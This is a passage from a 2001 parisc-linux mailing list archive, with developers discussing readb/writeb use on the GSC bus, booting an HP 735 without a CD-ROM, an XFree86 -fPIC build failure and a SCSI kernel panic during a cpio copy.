Date: 13 Apr 2001 18:48:28 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <d3eluwrbj7.fsf@lxplus015.cern.ch>
References: <20010411211337.C26010@parcelfarce.linux.theplanet.co.uk> <d366gbrxgu.fsf@lxplus015.cern.ch> <20010411213458.D26010@parcelfarce.linux.theplanet.co.uk> <d31yqzrwtz.fsf@lxplus015.cern.ch> <20010411235104.A19570@parcelfarce.linux.theplanet.co.uk> <d3wv8rqc5a.fsf@lxplus015.cern.ch> <20010412003606.A20002@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620030 17881 80.91.229.3 (22 Nov 2014 01:33:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 10:48:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D1EF482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 10:48:31 -0600 (MDT)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id SAA15139;
	Fri, 13 Apr 2001 18:48:29 +0200 (MET DST)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id SAA13703;
	Fri, 13 Apr 2001 18:48:28 +0200
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Matthew Wilcox's message of "Thu, 12 Apr 2001 00:36:06 +0100"
Original-Lines: 19
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:10773

>>>>> "Matthew" == Matthew Wilcox <matthew@wil.cx> writes:

Matthew> On Thu, Apr 12, 2001 at 12:56:01AM +0200, Jes Sorensen wrote:
>> Then Linus changed his mind. You are still *only* supposed to use
>> readb/writeb on PCI (and possible ISA) on PCI like devices.

Matthew> I've heard this before.  But no-one ever came up with an
Matthew> example of what _was_ `PCI-like'.  Since right now our writeb
Matthew> is #defined to gsc_writeb, that leads me to believe GSC is
Matthew> sufficiently PCI-like.

Well time to go study the bus behaviors and compare them then. How
does gsc behave wrt cache coherency, read-around-write, write ordering
etc etc.

Using writeb on a gsc is misleading everybody else who reads the code
into believing that it's a PCI device.

Jes




From - Thu Nov 08 21:17:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: 13 Apr 2001 18:49:37 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <d3ae5krbha.fsf@lxplus015.cern.ch>
References: <200104130702.BAA30672@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620031 17884 80.91.229.3 (22 Nov 2014 01:33:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 10:49:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CEE5482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 10:49:39 -0600 (MDT)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id SAA32397;
	Fri, 13 Apr 2001 18:49:37 +0200 (MET DST)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id SAA13734;
	Fri, 13 Apr 2001 18:49:37 +0200
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Grant Grundler's message of "Fri, 13 Apr 2001 01:02:15 -0600"
Original-Lines: 13
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:10774

>>>>> "Grant" == Grant Grundler <grundler@puffin.external.hp.com> writes:

Grant> Jes Sorensen wrote:
>> Then Linus changed his mind. You are still *only* supposed to use
>> readb/writeb on PCI (and possible ISA) on PCI like devices.

Grant> Jes, AFAIK, STI devices will all be memory mapped devices.
Grant> readb/writeb will do the right thing since GSC is "PCI-like" in
Grant> this regard.

I still don't like it as it is misleading.

Jes




From - Thu Nov 08 21:17:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 735/99
Date: Fri, 13 Apr 2001 11:48:25 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <200104131748.LAA06103@puffin.external.hp.com>
References: <007701c0c415$3f4779a0$1401a8c0@peewee>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620031 17886 80.91.229.3 (22 Nov 2014 01:33:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Matthew van de Werken" <mvdw73@one.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 11:55:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D46E482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 11:55:07 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA06103;
	Fri, 13 Apr 2001 11:48:25 -0600
In-Reply-To: Your message of "Fri, 13 Apr 2001 22:28:27 +1000."
             <007701c0c415$3f4779a0$1401a8c0@peewee> 
Xref: news.gmane.org gmane.linux.ports.parisc:10775

"Matthew van de Werken" wrote:
> Is this possible? Is there a disk image somewhere I can use for this?

You should be able to dump the ISO to disk and boot that.
The only problem is to convince everyone to use the disk instead
of CDROM /dev special device names. I think one only has
to interactively change the "Root" parameter but haven't
tried it recently.


> Alternatively, can I build a bootable disk manually on the SCSI disk from
> the x86 box? If I do this, what do I need to do? I tried to do the
> instructions on the "Installing PA-RISC Linux" page, however I couldn't
> mount the "f0" type partition (for obvious reasons), even if I had known
> what to put there once I had.

The f0 partition is raw data and not a file system.
cvs checkout the linux and palo repositories from your x86 and
you can build an XC palo which can talk to your disk.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: Fri, 13 Apr 2001 11:52:19 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <200104131752.LAA06197@puffin.external.hp.com>
References: <E14o34K-0002o5-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620031 17889 80.91.229.3 (22 Nov 2014 01:33:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 11:59:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA954482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 11:59:11 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA06197;
	Fri, 13 Apr 2001 11:52:19 -0600
In-Reply-To: Your message of "Fri, 13 Apr 2001 13:52:54 BST."
             <E14o34K-0002o5-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:10776

Alan Cox wrote:
> ISA bus has MMIO, including busmastering. 

really? ok.  I thought the 8237A (DMA chip) on pc's provided the
DMA capability. I didn't think it wasn't inherent to the ISA bus.
But it's been so long (late 80's) since I've seriously mucked with
ISA devices.

ta,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: Fri, 13 Apr 2001 19:11:52 +0100 (BST)
Lines: 17
Approved: news@gmane.org
Message-ID: <E14o832-0003Ih-00@the-village.bc.nu>
References: <d3eluwrbj7.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620032 17891 80.91.229.3 (22 Nov 2014 01:33:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:52 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox), parisc-linux@parisc-linux.org
To: jes@linuxcare.com (Jes Sorensen)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 12:11:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 266CB482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 12:11:20 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14o832-0003Ih-00; Fri, 13 Apr 2001 19:11:56 +0100
In-Reply-To: <d3eluwrbj7.fsf@lxplus015.cern.ch> from "Jes Sorensen" at Apr 13, 2001 06:48:28 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10777

> Well time to go study the bus behaviors and compare them then. How
> does gsc behave wrt cache coherency, read-around-write, write ordering
> etc etc.

And ISA is noticable for the fact it doesnt behave quite like PCI. You use
readb/readw/readl on ISA.

> Using writeb on a gsc is misleading everybody else who reads the code
> into believing that it's a PCI device.

Rubbish.

Alan





From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: Fri, 13 Apr 2001 19:13:41 +0100 (BST)
Lines: 9
Approved: news@gmane.org
Message-ID: <E14o84m-0003Ir-00@the-village.bc.nu>
References: <200104131752.LAA06197@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620032 17893 80.91.229.3 (22 Nov 2014 01:33:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:52 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox),
	parisc-linux@parisc-linux.org
To: grundler@puffin.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 12:12:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4056482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 12:12:11 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14o84m-0003Ir-00; Fri, 13 Apr 2001 19:13:44 +0100
In-Reply-To: <200104131752.LAA06197@puffin.external.hp.com> from "Grant Grundler" at Apr 13, 2001 11:52:19 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10778

> really? ok.  I thought the 8237A (DMA chip) on pc's provided the
> DMA capability. I didn't think it wasn't inherent to the ISA bus.

It provides some DMA capabilities. Cards can also drive DMA themselves, and
for anything > 2Mhz basically have to.





From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] xfree86 build problem
Date: Fri, 13 Apr 2001 16:21:16 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <200104132221.QAA09052@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620032 17896 80.91.229.3 (22 Nov 2014 01:33:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 16:27:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A074482A
	for <parisc-linux@parisc-linux.org>; Fri, 13 Apr 2001 16:27:18 -0600 (MDT)
Original-Received: (from grundler@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id QAA09052
	for parisc-linux@parisc-linux.org; Fri, 13 Apr 2001 16:21:16 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10779

hi folks,

The xfree86 build dies with the following errors:
...
making all in lib/GL/glu/libutil...
make[3]: Entering directory `/home/src/xfree86-4.0.2/build-tree/xc/lib/GL/glu/libutil'
make[3]: Nothing to be done for `all'.
make[3]: Leaving directory `/home/src/xfree86-4.0.2/build-tree/xc/lib/GL/glu/libutil'
rm -f libGLU.so.1.3~
+ cd .
+ c++ -o ./libGLU.so.1.3~ -shared -Wl,--whole-archive -Wl,-soname,libGLU.so.1 libutil/libutil.a libtess/libtess.a libnurbs/internals/libinternals.a libnurbs/interface/libinterface.a libnurbs/nurbtess/libnurbtess.a -Wl,--no-whole-archive
/usr/bin/ld: error.o: relocation R_PARISC_DPREL21L can not be used when making a shared object; recompile with -fPIC
libutil/libutil.a(error.o): could not read symbols: Bad value
collect2: ld returned 1 exit status
+ rm -f libGLU.so.1
+ ln -s libGLU.so.1.3 libGLU.so.1
+ rm -f ../../../exports/lib/libGLU.so.1
+ cd ../../../exports/lib
+ ln -s ../../lib/GL/glu/libGLU.so.1 .
rm -f libGLU.so.1.3
mv -f libGLU.so.1.3~ libGLU.so.1.3
mv: cannot stat `libGLU.so.1.3~': No such file or directory
make[2]: *** [libGLU.so.1.3] Error 1
make[2]: Leaving directory `/home/src/xfree86-4.0.2/build-tree/xc/lib/GL/glu'
make[1]: *** [all] Error 2
make[1]: Leaving directory `/home/src/xfree86-4.0.2/build-tree/xc/lib/GL'
make: *** [all] Error 2

a500:/usr/src/xfree86-4.0.2/build-tree/xc/lib# file GL/glu/libutil/error.o
GL/glu/libutil/error.o: ELF 32-bit MSB relocatable, PA-RISC, version 1, not stripped


1) error.o was built with:
gcc -c -O2 -g -ansi -pedantic -Wall -Wpointer-arith -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wredundant-decls -Wnested-externs  -I../include    -I../../../../include   -I../../../../include/GL  -I../../../.. -I../../../../exports/include  -Dlinux  -D_POSIX_SOURCE -D_POSIX_C_SOURCE=2 -D_BSD_SOURCE -D_SVID_SOURCE -D_GNU_SOURCE -DX_LOCALE   -DFUNCPROTO=15 -DNARROWPROTO   -DNDEBUG  error.c
   Is the -fPIC missing here?
   If so, why does "file" say it's relocatable?

   I rebuilt error.o and glue.o by hand with -fPIC, rebuilt the libutil.a,
   and then the build proceeded (until it hit the next problem).

2) c++ isn't returning the error reported by collect2
   Fortunately the build soon dies since the expected product
   doesn't exist. Known problem?


grant




From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbrad@beavis.ybsoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 735/99
Date: Fri, 13 Apr 2001 20:16:39 -0600
Lines: 52
Approved: news@gmane.org
Message-ID: <20010413201639.A3780@beavis.ybsoft.com>
References: <007701c0c415$3f4779a0$1401a8c0@peewee> <20010413233152.F8797@neep.com.au>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620032 17899 80.91.229.3 (22 Nov 2014 01:33:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 13 20:16:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boispop1.bois.uswest.net (boispop1.bois.uswest.net [207.108.224.1])
	by dsl2.external.hp.com (Postfix) with SMTP id 91F5E482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Apr 2001 20:16:46 -0600 (MDT)
Original-Received: (qmail 24566 invoked by alias); 14 Apr 2001 02:16:40 -0000
Delivered-To: fixup-parisc-linux@lists.parisc-linux.org@fixme
Original-Received: (qmail 24553 invoked by uid 0); 14 Apr 2001 02:16:39 -0000
Original-Received: from lametoby.ybsoft.com (HELO beavis.ybsoft.com) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 14 Apr 2001 02:16:39 -0000
Original-Received: from rbrad by beavis.ybsoft.com with local (Exim 3.20 #1 (Debian))
	id 14oFc7-000105-00; Fri, 13 Apr 2001 20:16:39 -0600
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
In-Reply-To: <20010413233152.F8797@neep.com.au>; from andrew@neep.com.au on Fri, Apr 13, 2001 at 11:31:54PM +0800
Xref: news.gmane.org gmane.linux.ports.parisc:10780

I believe the 735 requires rbootd.  I know debian has a package for this
and I think a redhat rbootd package can be found at:

ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/rbootd-2.0-2.tar.gz

- Ryan

On Fri, Apr 13, 2001 at 11:31:54PM +0800, Andrew Shugg wrote:
> Matthew van de Werken said:
> > I have a 735/99, onto which I'd like to install hppa-linux. However, I don't
> > have any of the usual methods of installing software (I have no bootable
> > CD-ROM, no tape, no network (without linux - chicken and egg problem).
> > 
> > Hwever, I *do* have a SCSI disk and a linux-x86 box onto which I can mount
> > this disk temporarily. What I'd like to be able to do is to dump a disk
> > image onto this disk, then transfer it to the 735, and boot from there. Is
> > this possible? Is there a disk image somewhere I can use for this?
> 
> By "no network" do you mean the 735 doesn't have a network interface?
> Or it does, but there's no network for you to connect it to?
> 
> If you're able to move that i386 Linux box to where the 735 is, or
> vice-versa, so that you can connect them via Ethernet, then that would
> likely be the easiest option.  Then with a bootp server (or a dhcpd that
> can do bootp, eg the ISC dhcp server) on the Linux box you can serve the
> 735 a kernel to boot from and an NFS filesystem to mount.
> 
> As far as making that SCSI disk bootable to the HP, I have no idea if
> this would work but you could try taking the current (out-of-date) CD
> image from the FTP site and just writing it to the SCSI disk with dd.
> I don't think a partition table written on the i386 would be readable by
> the HP box though.
> 
> Andrew.
> 
> --
> Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/
> 
> "Just remember, Mr Fawlty, there's always someone worse off than yourself."
> "Is there?  Well I'd like to meet him.  I could do with a good laugh."
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 

-- 




From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbrad@beavis.ybsoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel panic using cpio from cdrom to disk.
Date: Sat, 14 Apr 2001 00:52:52 -0600
Lines: 79
Approved: news@gmane.org
Message-ID: <20010414005252.A9322@beavis.ybsoft.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620033 17901 80.91.229.3 (22 Nov 2014 01:33:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 14 00:52:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boispop1.bois.uswest.net (boispop1.bois.uswest.net [207.108.224.1])
	by dsl2.external.hp.com (Postfix) with SMTP id 98AF7482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Apr 2001 00:52:58 -0600 (MDT)
Original-Received: (qmail 4850 invoked by alias); 14 Apr 2001 06:52:53 -0000
Delivered-To: fixup-parisc-linux@lists.parisc-linux.org@fixme
Original-Received: (qmail 4828 invoked by uid 0); 14 Apr 2001 06:52:53 -0000
Original-Received: from lametoby.ybsoft.com (HELO beavis.ybsoft.com) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 14 Apr 2001 06:52:53 -0000
Original-Received: from rbrad by beavis.ybsoft.com with local (Exim 3.20 #1 (Debian))
	id 14oJvQ-0002QQ-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Apr 2001 00:52:52 -0600
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
Xref: news.gmane.org gmane.linux.ports.parisc:10781

Hello parisc-linux hackers,

A bug (#105) was discovered today reguarding cpio'ing an iso image from
the cdrom to the disk.  This was a stupid error and I have a quick patch
for this.  But this leads to my next question....  I am getting a kernel
panic when perfoming the cpio from the cdrom to the disk.  I am trying
to verify if their in another problem with the ccio code, or if this is
a problem witht the scsi driver itself.  Can someone else try it on a
non-ccio machine and see if fails for them also.  [Note:  The cdrom
content should not matter, in this case I have an i386 debian disk I 
was cpio'ing over because it was handy.]

Disk to disk transfers seem to work fine under ccio...

Thanks,

- Ryan


vega:/tmp# mount /dev/sr0 /cdrom
ISO 9660 Extensions: RRIP_1991A
vega:/tmp# find /cdrom | cpio -pm /tmp   
scsi1: Unexpected Illegal Instruction, script[0002]
scsi1: script[fffffffe]: 00000000 00000000 60000200 00000000 7c1bef00 00000000 41040000 00182448
scsi1: Failed to handle interrupt.  Failing commands and resetting SCSI bus and chip
scsi1: istat = 00, sstat0 = 00, sstat1 = 00, dstat = 00
scsi1: dsp = 00182008 (script[0x0802]), dsps = 7b255263, target = 0
scsi1: Failing command for ID2



Dumping Stack from 1027e000 to 1027e2c0:
e000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e020 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e040 00000000 00000000 00000000 0028a000 00000000 00000000 00000000 00000000
e060 00000000 00000000 00000000 0010c830 00000000 00000000 00000000 00000000
e080 00000008 fffb1000 0010c830 00008000 00291000 00282000 0010c8a8 00105024
e0a0 00282000 00008000 fffa0000 e0000000 20530a40 0000006c 00000002 0000001f
e0c0 20530a40 102fc010 1012a4a0 ffd05800 00000060 00000000 00000000 00000060
e0e0 0027e548 00000003 ffd05800 f0102400 00000000 ffd05800 1027e2c0 00000007
e100 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e120 00000001 fe4917e0 00000002 1014aee0 ef56b2f6 f9bf8075 dedbd0be f309b5b9
e140 10fec000 3fc900c0 102dc000 00000000 10290064 102f9010 102fc010 10276010
e160 102f8810 00000001 10294010 1013948c 102f8810 102d9d08 102d9d08 102d9c80
e180 3fc99000 1029060c 00000000 00000002 00000000 102a46c0 0004000e 0000004d
e1a0 102f9010 3fc99000 1029060c 1014adc4 cccccccd 00000030 00000000 cccccccd
e1c0 00000001 00000004 3fe00000 00000000 412e8480 00000000 3fc9d140 0000004d
e1e0 ffffff05 102fc010 00000001 101395f4 3fccf400 1028ecc8 00000000 00000000
e200 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e220 00000000 00000000 0010c754 0010c758 ffffffff 00000000 00000000 00000000
e240 00000000 00000008 081a025c 10240041 4c130d44 00000000 00000000 00000000
e260 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e280 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e2a0 00000000 00000000 00000000 10106744 00000000 00000000 00000000 00000000

Unexpected Interruption!: Code=0 regs=1027e080 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000000000000000000001000
r0-3     00000000 fffb1000 0010c830 00008000
r4-7     00291000 00282000 0010c8a8 00105024
r8-11    00282000 00008000 fffa0000 e0000000
r12-15   20530a40 0000006c 00000002 0000001f
r16-19   20530a40 102fc010 1012a4a0 ffd05800
r20-23   00000060 00000000 00000000 00000060
r24-27   0027e548 00000003 ffd05800 f0102400
r28-31   00000000 ffd05800 1027e2c0 00000007
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 0010c754 0010c758
 IIR: 081a025c    ISR: 10240041  IOR: 4c130d44
ORIG_R28: 00000000


-- 




From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 build problem
Date: Sat, 14 Apr 2001 21:25:57 +0930
Lines: 24
Approved: news@gmane.org
Message-ID: <20010414212557.E16364@squeak.one.net.au>
References: <200104132221.QAA09052@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620033 17903 80.91.229.3 (22 Nov 2014 01:33:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 14 04:54:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-ob03.one.net.au (mail-ob03.one.net.au [61.12.0.163])
	by dsl2.external.hp.com (Postfix) with ESMTP id 906DC482A
	for <parisc-linux@parisc-linux.org>; Sat, 14 Apr 2001 04:54:51 -0600 (MDT)
Original-Received: Received: [from squeak.local (async119-ade-isp-3.nas.one.net.au [203.101.88.120])
	by mail-ob03.one.net.au  with SMTP id f3EAsl311084
	for <parisc-linux@parisc-linux.org>; Sat, 14 Apr 2001 20:54:48 +1000 (EST)]
Original-Received: (qmail 25100 invoked by uid 179); 14 Apr 2001 11:55:58 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <200104132221.QAA09052@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Fri, Apr 13, 2001 at 04:21:16PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10782

On Fri, Apr 13, 2001 at 04:21:16PM -0600, Grant Grundler wrote:
> 1) error.o was built with:
